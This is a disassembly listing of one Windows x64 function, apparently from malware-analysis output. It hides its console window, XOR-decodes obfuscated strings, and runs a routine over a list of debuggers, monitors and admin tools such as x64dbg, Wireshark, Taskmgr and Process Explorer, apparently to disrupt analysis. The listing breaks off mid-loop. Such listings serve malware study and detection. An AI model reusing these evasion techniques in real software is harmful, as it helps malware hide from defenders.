Function at 0x140017710
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x6e20]
mov eax, 0x6f20
call fcn.1401e1c30
sub rsp, rax
movaps xmmword [rsp + 0x6f10], xmm6
movaps xmmword [rsp + 0x6f00], xmm7
movaps xmmword [rsp + 0x6ef0], xmm8
movaps xmmword [rsp + 0x6ee0], xmm9
movaps xmmword [rsp + 0x6ed0], xmm10
movaps xmmword [rsp + 0x6ec0], xmm11
movaps xmmword [rsp + 0x6eb0], xmm12
movaps xmmword [rsp + 0x6ea0], xmm13
movaps xmmword [rsp + 0x6e90], xmm14
movaps xmmword [rsp + 0x6e80], xmm15
mov rax, qword [0x1402cbc00]
xor rax, rsp
mov qword [rbp + 0x6d70], rax
xor esi, esi
mov dword [rbp + 0x4c], esi
mov dword [rbp + 0x38], esi
mov eax, esi
mov dword [rbp + 0x48], eax
mov dword [rbp + 0x40], eax
mov dword [rbp + 0x38], esi
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, str.appdata
call fcn.1401f9820
mov rdx, rax
lea rcx, [rbp + 0x6618]
call fcn.1400322a0
nop
lea rcx, [rbp + 0xeb8]
call fcn.14000c320
mov rbx, rax
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x12]
call fcn.14002d0d0
mov r10, rax
movdqa xmm9, xmmword [0x14029dcb0]
movdqa xmm12, xmmword [0x14029dce0]
movdqa xmm8, xmmword [str.4444]
movdqa xmm6, xmmword [0x14029dd00]
movdqa xmm7, xmmword [0x14029dc40]
movdqa xmm10, xmmword [0x14029dc60]
movdqa xmm11, xmmword [0x14029dc50]
mov r14d, dword [reloc.WS2_32.dll_accept]
cmp byte [rax + 0xb], sil
je 0x1400179b9
mov r8d, esi
cmp r14d, 2
jl 0x140017981
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm12
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm12
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm12
movd xmm0, dword [rax + 8]
xorps xmm1, xmm0
movd dword [rax + 8], xmm1
jmp 0x1400179b9
mov r9, r10
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140017990
mov rdx, r10
lea rcx, [rbp + 0xed8]
call fcn.1400322a0
nop
mov r8, rax
lea rdx, [rbp + 0x6618]
lea rcx, [rbp + 0xef8]
call fcn.140035ef0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x65f8]
call fcn.140035fd0
nop
lea rcx, [rbp + 0xef8]
call fcn.1400320f0
nop
lea rcx, [rbp + 0xed8]
call fcn.1400320f0
nop
lea rcx, [rbp + 0xeb8]
call fcn.1400320f0
lea rcx, [rbp + 0x2b]
call fcn.1400302c0
mov rdi, rax
lea rdx, [rbp + 0x78]
lea rcx, [rbp + 0x65f8]
call fcn.140032020
mov rbx, qword [rax]
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x65f8]
call fcn.140032040
mov r9, rdi
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0x65d8]
call fcn.140038620
nop
lea rcx, [rbp + 0x65d8]
call fcn.140031ce0
mov qword [rbp + 0x40], rax
xor ecx, ecx
call fcn.1400020d0
mov rcx, rax
call fcn.1401efe60
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x2c]
call fcn.14002d0f0
movzx ecx, word [rax + 0x14]
test cx, cx
je 0x140017ad2
xor word [rax], 0x39
xor word [rax + 2], 0x3a
xor word [rax + 4], 0x3b
xor word [rax + 6], 0x3c
xor word [rax + 8], 0x3d
xor word [rax + 0xa], 0x3e
xor word [rax + 0xc], 0x3f
xor word [rax + 0xe], 0x40
xor word [rax + 0x10], 0x41
xor word [rax + 0x12], 0x42
xor cx, 0x43
mov word [rax + 0x14], cx
mov rdx, rax
lea rcx, [rbp + 0x6a50]
call fcn.140031e60
nop
lea rdx, str._pythonw.exe
lea rcx, [rbp + 0x6a70]
call fcn.140031e60
nop
lea rdx, str._python3.exe
lea rcx, [rbp + 0x6a90]
call fcn.140031e60
nop
lea rdx, str.Taskmgr.exe
lea rcx, [rbp + 0x6ab0]
call fcn.140031e60
nop
lea rdx, str.msconfig.exe
lea rcx, [rbp + 0x6ad0]
call fcn.140031e60
nop
lea rdx, str.regedit.exe
lea rcx, [rbp + 0x6af0]
call fcn.140031e60
nop
lea rdx, str.x64dbg.exe
lea rcx, [rbp + 0x6b10]
call fcn.140031e60
nop
lea rdx, str.x32dbg.exe
lea rcx, [rbp + 0x6b30]
call fcn.140031e60
nop
lea rdx, str.radare2.exe
lea rcx, [rbp + 0x6b50]
call fcn.140031e60
nop
lea rdx, str.r2.exe
lea rcx, [rbp + 0x6b70]
call fcn.140031e60
nop
lea rdx, str.ghidra.exe
lea rcx, [rbp + 0x6b90]
call fcn.140031e60
nop
lea rdx, str.immunitydebugger.exe
lea rcx, [rbp + 0x6bb0]
call fcn.140031e60
nop
lea rdx, str.fiddler.exe
lea rcx, [rbp + 0x6bd0]
call fcn.140031e60
nop
lea rdx, str.tcpview.exe
lea rcx, [rbp + 0x6bf0]
call fcn.140031e60
nop
lea rdx, str.sysmon.exe
lea rcx, [rbp + 0x6c10]
call fcn.140031e60
nop
lea rdx, str.processhacker.exe
lea rcx, [rbp + 0x6c30]
call fcn.140031e60
nop
lea rdx, str.apatedns.exe
lea rcx, [rbp + 0x6c50]
call fcn.140031e60
nop
lea rdx, str.cuckoo.exe
lea rcx, [rbp + 0x6c70]
call fcn.140031e60
nop
lea rdx, str.cff_explorer.exe
lea rcx, [rbp + 0x6c90]
call fcn.140031e60
nop
lea rdx, str.wireshark.exe
lea rcx, [rbp + 0x6cb0]
call fcn.140031e60
nop
lea rdx, str.regshot.exe
lea rcx, [rbp + 0x6cd0]
call fcn.140031e60
nop
lea rdx, str.procexp.exe
lea rcx, [rbp + 0x6cf0]
call fcn.140031e60
nop
lea rdx, str.procexp64.exe
lea rcx, [rbp + 0x6d10]
call fcn.140031e60
nop
lea rdx, str.dumpcap.exe
lea rcx, [rbp + 0x6d30]
call fcn.140031e60
nop
lea rdx, str.cmd.exe
lea rcx, [rbp + 0x6d50]
call fcn.140031e60
nop
lea rbx, [rbp + 0x6a50]
nop dword [rax]
mov edx, 1
mov rcx, rbx
call fcn.1400168c0
add rbx, 0x20
lea rax, [rbp + 0x6d70]
cmp rbx, rax
jne 0x140017cd0
lea rcx, [rbp + 0x65b8]
call fcn.14000b5e0
nop
lea rcx, [rbp + 0x6598]
call fcn.14000b550
nop
lea rcx, [rbp + 0x6578]
call fcn.14000bf90
nop
lea rcx, [rbp + 0x6558]
call fcn.140011bc0
nop
lea rcx, [rbp + 0x6538]
call fcn.140032400
nop
lea rcx, [rbp + 0x6518]
call fcn.140032400
nop
lea rdx, [rbp + 0x288]
lea rcx, [rbp + 0x2d]
call fcn.14002d120
movzx ecx, word [rax + 0x14]
test cx, cx
je 0x140017d8d
xor word [rax], 0x39
xor word [rax + 2], 0x3a
xor word [rax + 4], 0x3b
xor word [rax + 6], 0x3c
xor word [rax + 8], 0x3d
xor word [rax + 0xa], 0x3e
xor word [rax + 0xc], 0x3f
xor word [rax + 0xe], 0x40
xor word [rax + 0x10], 0x41
xor word [rax + 0x12], 0x42
xor cx, 0x43
mov word [rax + 0x14], cx
mov rdx, rax
lea rcx, [rbp + 0x1018]
call fcn.140031e60
nop
mov edx, 1
mov rcx, rax
call fcn.1400168c0
nop
lea rcx, [rbp + 0x1018]
call fcn.1400079a0
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0x2e]
call fcn.14002d150
movzx ecx, word [rax + 0x10]
test cx, cx
je 0x140017dff
xor word [rax], 0x39
xor word [rax + 2], 0x3a
xor word [rax + 4], 0x3b
xor word [rax + 6], 0x3c
xor word [rax + 8], 0x3d
xor word [rax + 0xa], 0x3e
xor word [rax + 0xc], 0x3f
xor word [rax + 0xe], 0x40
xor cx, 0x41
mov word [rax + 0x10], cx
mov rdx, rax
lea rcx, [rbp + 0x1038]
call fcn.140031e60
nop
mov edx, 1
mov rcx, rax
call fcn.1400168c0
nop
lea rcx, [rbp + 0x1038]
call fcn.1400079a0
lea rdx, [rbp + 0x198]
lea rcx, [rbp + 0x2f]
call fcn.14002d170
movzx ecx, word [rax + 0x12]
test cx, cx
je 0x140017e76
xor word [rax], 0x39
xor word [rax + 2], 0x3a
xor word [rax + 4], 0x3b
xor word [rax + 6], 0x3c
xor word [rax + 8], 0x3d
xor word [rax + 0xa], 0x3e
xor word [rax + 0xc], 0x3f
xor word [rax + 0xe], 0x40
xor word [rax + 0x10], 0x41
xor cx, 0x42
mov word [rax + 0x12], cx
mov rdx, rax
lea rcx, [rbp + 0x1058]
call fcn.140031e60
nop
mov edx, 1
mov rcx, rax
call fcn.1400168c0
nop
lea rcx, [rbp + 0x1058]
call fcn.1400079a0
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x30]
call fcn.14002d190
movzx ecx, word [rax + 0x12]
test cx, cx
je 0x140017eed
xor word [rax], 0x39
xor word [rax + 2], 0x3a
xor word [rax + 4], 0x3b
xor word [rax + 6], 0x3c
xor word [rax + 8], 0x3d
xor word [rax + 0xa], 0x3e
xor word [rax + 0xc], 0x3f
xor word [rax + 0xe], 0x40
xor word [rax + 0x10], 0x41
xor cx, 0x42
mov word [rax + 0x12], cx
mov rdx, rax
lea rcx, [rbp + 0x1078]
call fcn.140031e60
nop
mov edx, 1
mov rcx, rax
call fcn.1400168c0
nop
lea rcx, [rbp + 0x1078]
call fcn.1400079a0
lea rdx, [rbp + 0x168]
lea rcx, [rbp + 0x31]
call fcn.14002d1b0
movzx ecx, word [rax + 0x10]
test cx, cx
je 0x140017f5f
xor word [rax], 0x39
xor word [rax + 2], 0x3a
xor word [rax + 4], 0x3b
xor word [rax + 6], 0x3c
xor word [rax + 8], 0x3d
xor word [rax + 0xa], 0x3e
xor word [rax + 0xc], 0x3f
xor word [rax + 0xe], 0x40
xor cx, 0x41
mov word [rax + 0x10], cx
mov rdx, rax
lea rcx, [rbp + 0x1098]
call fcn.140031e60
nop
mov edx, 1
mov rcx, rax
call fcn.1400168c0
nop
lea rcx, [rbp + 0x1098]
call fcn.1400079a0
lea rdx, [rbp + 0x3c0]
lea rcx, [rbp + 0x32]
call fcn.14002d1d0
mov r10, rax
movdqa xmm13, xmmword [0x14029dcc0]
cmp word [rax + 0x16], 0
je 0x14001811d
mov r8d, esi
cmp r14d, 2
jl 0x1400180e4
movdqa xmm2, xmm7
punpckldq xmm2, xmm7
pmuldq xmm2, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm7
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmm13
movq xmm0, qword [rax]
xorps xmm2, xmm0
movq qword [rax], xmm2
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmm13
movq xmm0, qword [rax + 8]
xorps xmm2, xmm0
movq qword [rax + 8], xmm2
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmm13
movq xmm0, qword [rax + 0x10]
xorps xmm2, xmm0
movq qword [rax + 0x10], xmm2
jmp 0x14001811d
mov r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movzx eax, dx
imul ecx, eax, 0x34
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xc
jl 0x1400180f0
mov rdx, r10
lea rcx, [rbp + 0x10b8]
call fcn.140031e60
nop
mov edx, 1
mov rcx, rax
call fcn.1400168c0
nop
lea rcx, [rbp + 0x10b8]
call fcn.1400079a0
lea rdx, [rbp + 0x1c8]
lea rcx, [rbp + 0x33]
call fcn.14002d1f0
movzx ecx, word [rax + 0x12]
test cx, cx
je 0x140018194
xor word [rax], 0x39
xor word [rax + 2], 0x3a
xor word [rax + 4], 0x3b
xor word [rax + 6], 0x3c
xor word [rax + 8], 0x3d
xor word [rax + 0xa], 0x3e
xor word [rax + 0xc], 0x3f
xor word [rax + 0xe], 0x40
xor word [rax + 0x10], 0x41
xor cx, 0x42
mov word [rax + 0x12], cx
mov rdx, rax
lea rcx, [rbp + 0x10d8]
call fcn.140031e60
nop
mov edx, 1
mov rcx, rax
call fcn.1400168c0
nop
lea rcx, [rbp + 0x10d8]
call fcn.1400079a0
lea rdx, [rbp + 0x2a0]
lea rcx, [rbp - 0x50]
call fcn.14002d210
movzx ecx, word [rax + 0x14]
test cx, cx
je 0x140018210
xor word [rax], 0x39
xor word [rax + 2], 0x3a
xor word [rax + 4], 0x3b
xor word [rax + 6], 0x3c
xor word [rax + 8], 0x3d
xor word [rax + 0xa], 0x3e
xor word [rax + 0xc], 0x3f
xor word [rax + 0xe], 0x40
xor word [rax + 0x10], 0x41
xor word [rax + 0x12], 0x42
xor cx, 0x43
mov word [rax + 0x14], cx
mov rdx, rax
lea rcx, [rbp + 0x10f8]
call fcn.140031e60
nop
mov edx, 1
mov rcx, rax
call fcn.1400168c0
nop
lea rcx, [rbp + 0x10f8]
call fcn.1400079a0
lea rdx, [rbp + 0x2b8]
lea rcx, [rbp - 0x4f]
call fcn.14002d240
movzx ecx, word [rax + 0x14]
test cx, cx
je 0x14001828c
xor word [rax], 0x39
xor word [rax + 2], 0x3a
xor word [rax + 4], 0x3b
xor word [rax + 6], 0x3c
xor word [rax + 8], 0x3d
xor word [rax + 0xa], 0x3e
xor word [rax + 0xc], 0x3f
xor word [rax + 0xe], 0x40
xor word [rax + 0x10], 0x41
xor word [rax + 0x12], 0x42
xor cx, 0x43
mov word [rax + 0x14], cx
mov rdx, rax
lea rcx, [rbp + 0x1118]
call fcn.140031e60
nop
mov edx, 1
mov rcx, rax
call fcn.1400168c0
nop
lea rcx, [rbp + 0x1118]
call fcn.1400079a0
lea rcx, [rbp + 0x64f8]
call fcn.14000ca40
nop
lea rcx, [rbp + 0x6020]
call fcn.14002f660
nop
lea r8, [rbp + 0x64f8]
lea rdx, [rbp + 0x64d8]
mov rcx, rax
call fcn.14002f5d0
nop
lea rcx, [rbp + 0x6020]
call fcn.14002f600
lea rcx, [rbp + 0x65d8]
call fcn.140031ce0
mov rcx, rax
call fcn.140011b60
lea rdx, [rbp + 0x64d8]
lea rcx, [rbp + 0x64b8]
call fcn.1400322e0
nop
lea rdx, [rbp + 0xf0]
lea rcx, [rbp - 0x4e]
call fcn.14002d2b0
mov r10, rax
cmp byte [rax + 0xb], 0
je 0x1400184a9
mov r8d, esi
cmp r14d, 2
jl 0x140018477
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm12
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
jmp 0x1400184a9
mov r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140018480
mov rdx, r10
lea rcx, [rbp + 0x1198]
call fcn.1400322a0
nop
mov r8, rax
lea rdx, [rbp + 0x64b8]
lea rcx, [rbp + 0x11b8]
call fcn.140035ef0
mov rbx, rax
lea rdx, [rbp + 0x5c28]
lea rcx, [rbp - 0x4d]
call fcn.14002d270
mov r10, rax
cmp byte [rax + 0x32], 0
je 0x140018640
mov r8d, esi
cmp r14d, 2
jl 0x1400185fb
movdqa xmmword [rsp + 0x70], xmm12
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140018510
cmp r8d, 0x33
jge 0x140018640
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x33
jl 0x140018610
mov rdx, r10
lea rcx, [rbp + 0x11d8]
call fcn.1400322a0
nop
mov r8, rax
lea rdx, [rbp + 0x64d8]
lea rcx, [rbp + 0x11f8]
call fcn.140035ef0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000cae0
nop
lea rcx, [rbp + 0x11f8]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x11d8]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x11b8]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x1198]
call fcn.1400320f0
mov edx, Ordinal_26
lea rcx, [rbp + 0x60b0]
call fcn.14000ba50
lea rdx, [rbp + 0x100]
lea rcx, [rbp - 0x4c]
call fcn.14002d2b0
mov r10, rax
cmp byte [rax + 0xb], 0
je 0x140018849
mov r8d, esi
cmp r14d, 2
jl 0x140018813
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm12
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
jmp 0x140018849
mov r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140018820
mov rdx, r10
lea rcx, [rbp + 0x1218]
call fcn.1400322a0
nop
mov r8, rax
lea rdx, [rbp + 0x64b8]
lea rcx, [rbp + 0x1238]
call fcn.140035ef0
nop
mov rdx, rax
lea rcx, [rbp + 0x60b0]
call fcn.14000cd00
nop
lea rcx, [rbp + 0x1238]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x1218]
call fcn.1400320f0
lea rdx, [rbp + 0xd0]
lea rcx, [rbp - 0x4b]
call fcn.14002d2b0
mov r10, rax
cmp byte [rax + 0xb], 0
je 0x140018a29
mov r8d, esi
cmp r14d, 2
jl 0x1400189f5
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm12
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
jmp 0x140018a29
mov r9, r10
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140018a00
mov rdx, r10
lea rcx, [rbp + 0x1258]
call fcn.1400322a0
nop
mov r8, rax
lea rdx, [rbp + 0x64b8]
lea rcx, [rbp + 0x6498]
call fcn.140035ef0
nop
lea rcx, [rbp + 0x1258]
call fcn.1400320f0
xor r8d, r8d
lea rdx, [rbp + 0x6498]
lea rcx, [rbp + 0x1298]
call fcn.140037cd0
nop
lea rcx, [rbp + 0x1298]
call fcn.14000a000
movzx ebx, al
lea rcx, [rbp + 0x1298]
call fcn.1400079a0
test bl, bl
jne 0x140018c4e
lea rdx, [rbp + 0x5c60]
lea rcx, [rbp - 0x4a]
call fcn.14002d2d0
mov r10, rax
cmp byte [rax + 0x33], bl
je 0x140018c00
mov r8d, esi
cmp r14d, 2
jl 0x140018bbb
movdqa xmmword [rsp + 0x70], xmm12
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
